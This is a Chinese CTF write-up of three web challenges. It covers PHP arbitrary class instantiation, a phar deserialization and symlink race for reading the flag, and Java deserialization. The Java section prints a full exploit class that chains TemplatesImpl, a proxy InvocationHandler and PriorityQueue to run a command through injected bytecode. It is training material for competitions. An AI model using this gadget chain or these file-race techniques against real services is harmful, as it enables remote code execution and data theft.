warmup-php
附件给了4个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| $action = $_GET['action']; $properties = $_POST['properties']; class Action{
public function __construct($action,$properties){
$object=new $action(); foreach($properties as $name=>$value) $object->$name=$value; $object->run(); } }
new Action($action,$properties);
|
可控的就是Action类中的construct方法,给的类很多,
从他继承的抽象类的run方法一直进去,反正变量都可控,随便打
soeasy_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| FROM php:7.2.3-fpm
COPY files /tmp/files/ COPY src /var/www/html/ COPY flag /flag
RUN chown -R root:root /var/www/html/ && \ chmod -R 755 /var/www/html && \ chown -R www-data:www-data /var/www/html/uploads && \ sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \ sed -i '/security/d' /etc/apt/sources.list && \ apt-get update && \ apt-get install nginx -y && \ /bin/mv -f /tmp/files/default /etc/nginx/sites-available/default && \ gcc /tmp/files/copyflag.c -o /copyflag && \ chmod 4711 /copyflag && \ rm -rf /tmp/files && \ rm -rf /var/lib/apt/lists/* && \ chmod 700 /flag
CMD nginx&&php-fpm
EXPOSE 80
|
index.php中有注释,标注了edit.php,简单构造能够读到源码
这道题是可以用条件竞争非预期的,就是再覆盖flag那里可以趁他覆盖之前,访问head.png,读到就行
- 利用文件上传上传 phar文件
- 写入超长文件名使得
symlink()
函数出错返回 false
unlink()
触发 phar 反序列化将flag写入到可读的/tmp/flag.txt
处
- 建立与
/tmp/flag.txt
与 uploads/head.png
的软连接
- 在建立与
/tmp/flag.txt
的软链接之前程序会将原来写入的flag给覆盖掉。所以要在覆盖flag后,另一个线程已经在copy /falg
到 /tmp/flag.txt
,这样 /uploads/head.png
与/tmp/flag.txt
建立了链接,同时flag也没有被覆盖,然后访问 /uploads/head.png
读取即可。
这里研究作者的预期解,如何让symlink函数报错进到unlink里面
这里出题人翻了symlink函数对应的底层c源码,寻找他其中返回false的情况
$filename的长度设置为4096以上,会导致symlink返回false
下面还有一点,
1 2 3 4 5 6 7
| $filename = $_POST['png']; if(!preg_match("/:|phar|\/\/|php/im",$filename)){ $f = fopen($filename,"r"); $contents = fread($f, filesize($filename)); if(strpos($contents,"flag") !== false){ filewrite($filename,"Don't give me flag!!!"); }
|
这里的$f = fopen($filename,"r");
句柄未关闭,导致可以在/proc/pid/fd/fd下读到,且距离die还贴心的给了2秒钟让你爆破
从而可以读到flag内容
剩下的是一些调试上的问题,可惜还没有开始玩底层php,这道题之后有时间再看c源码吧
http://max666.fun/21.html
warmup-java
环境
依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Controller public class IndexController { public IndexController() { }
@RequestMapping({"/warmup"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "index"; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class MyInvocationHandler implements InvocationHandler, Serializable { private Class type;
public MyInvocationHandler() { }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Method[] methods = this.type.getDeclaredMethods(); Method[] var5 = methods; int var6 = methods.length;
for(int var7 = 0; var7 < var6; ++var7) { Method xmethod = var5[var7]; xmethod.invoke(args[0]); }
return null; } }
|
存在问题就是远程打不通,本地通了,猜测是serialVersionUID的问题,这个明天问了佬再解决。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package com.poc;
import com.example.warmup.MyInvocationHandler; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.util.Utils; import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.Comparator; import java.util.PriorityQueue;
public class Exp { public static void main(String[] args) throws Exception { TemplatesImpl templatesImpl = Exp.createTemplatesImpl("calc.exe");
MyInvocationHandler myInvocationHandler = new MyInvocationHandler(TemplatesImpl.class);
setFieldValue(myInvocationHandler,"type", Templates.class);
Comparator comparator = (Comparator) Proxy.newProxyInstance(MyInvocationHandler.class.getClassLoader(), new Class[]{ Comparator.class },myInvocationHandler);
final PriorityQueue<Object> queue = new PriorityQueue(2); queue.add("1"); queue.add("1");
setFieldValue(queue,"comparator",comparator); setFieldValue(queue,"queue",new Object[]{templatesImpl,templatesImpl});
String s = Utils.objectToHexString(queue); System.out.println(s); byte[] b = Utils.hexStringToBytes(s); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static TemplatesImpl createTemplatesImpl(String command) throws Exception { TemplatesImpl templates = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.getCtClass(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][] {classBytes}); setFieldValue(templates, "_name", "s"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates; }
}
|